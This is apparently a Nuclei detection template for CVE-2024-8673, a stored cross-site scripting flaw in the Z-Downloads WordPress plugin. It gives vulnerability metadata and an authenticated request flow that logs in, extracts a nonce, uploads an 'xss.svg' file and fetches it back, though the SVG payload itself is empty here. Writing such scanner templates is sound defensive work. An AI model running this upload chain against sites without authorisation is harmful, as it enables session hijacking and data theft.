id: CVE-2024-8673 info: name: Z-Downloads < 1.11.7 - Cross-Site Scripting author: Splint3r7 severity: low description: | The plugin does not properly validate uploaded files allowing for the uploading of SVGs containing malicious JavaScript. impact: | Authenticated attackers can upload SVG files containing malicious JavaScript that executes when other users view the uploaded files, potentially leading to session hijacking and data theft. remediation: | Fixed in version 1.11.7 reference: - https://wpscan.com/vulnerability/fed2cd26-7ccb-419d-b589-978410953bf4/ classification: cve-id: CVE-2024-8673 cvss-score: 3.5 cwe-id: CWE-79 epss-score: 0.01792 epss-percentile: 0.7651 metadata: verified: true max-request: 5 framework: wordpress tags: cve,cve2024,wpscan,wp-plugin,wp,authenticated,wordpress,z-downloads,vuln flow: http(1) && http(2) http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=z-downloads-add-file HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: nonce group: 1 regex: - name="nonce" value="([0-9a-zA-Z]+)" internal: true - raw: - | POST /wp-admin/admin.php?page=z-downloads-files HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=---------------------------191511049038951322013765412437 -----------------------------191511049038951322013765412437 Content-Disposition: form-data; name="file"; filename="xss.svg" Content-Type: image/svg+xml -----------------------------191511049038951322013765412437 Content-Disposition: form-data; name="nonce" {{nonce}} -----------------------------191511049038951322013765412437 Content-Disposition: form-data; name="submit" Upload -----------------------------191511049038951322013765412437-- - | GET /wp-admin/admin.php?page=z-downloads-files HTTP/1.1 Host: {{Hostname}} - | GET /{{payloadurl}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code_5 == 200 - contains(content_type_5, "image/svg+xml") - contains(body_5, "") condition: and extractors: - type: regex name: payloadurl part: body regex: - /wp-content/uploads/z-downloads-[a-f0-9]{32}/files/[a-f0-9]{32}/xss\.svg internal: true # digest: 4b0a00483046022100a99d1bba7cd477eddc7f69248ba342e4de0cc63d9861151252f581aafe750c3d022100c71ed9de5e519cd7d356e8460ff7b8929f8d8548dae9db2f438fe59743cbd206:922c64590222798bb761d5b6d8e72950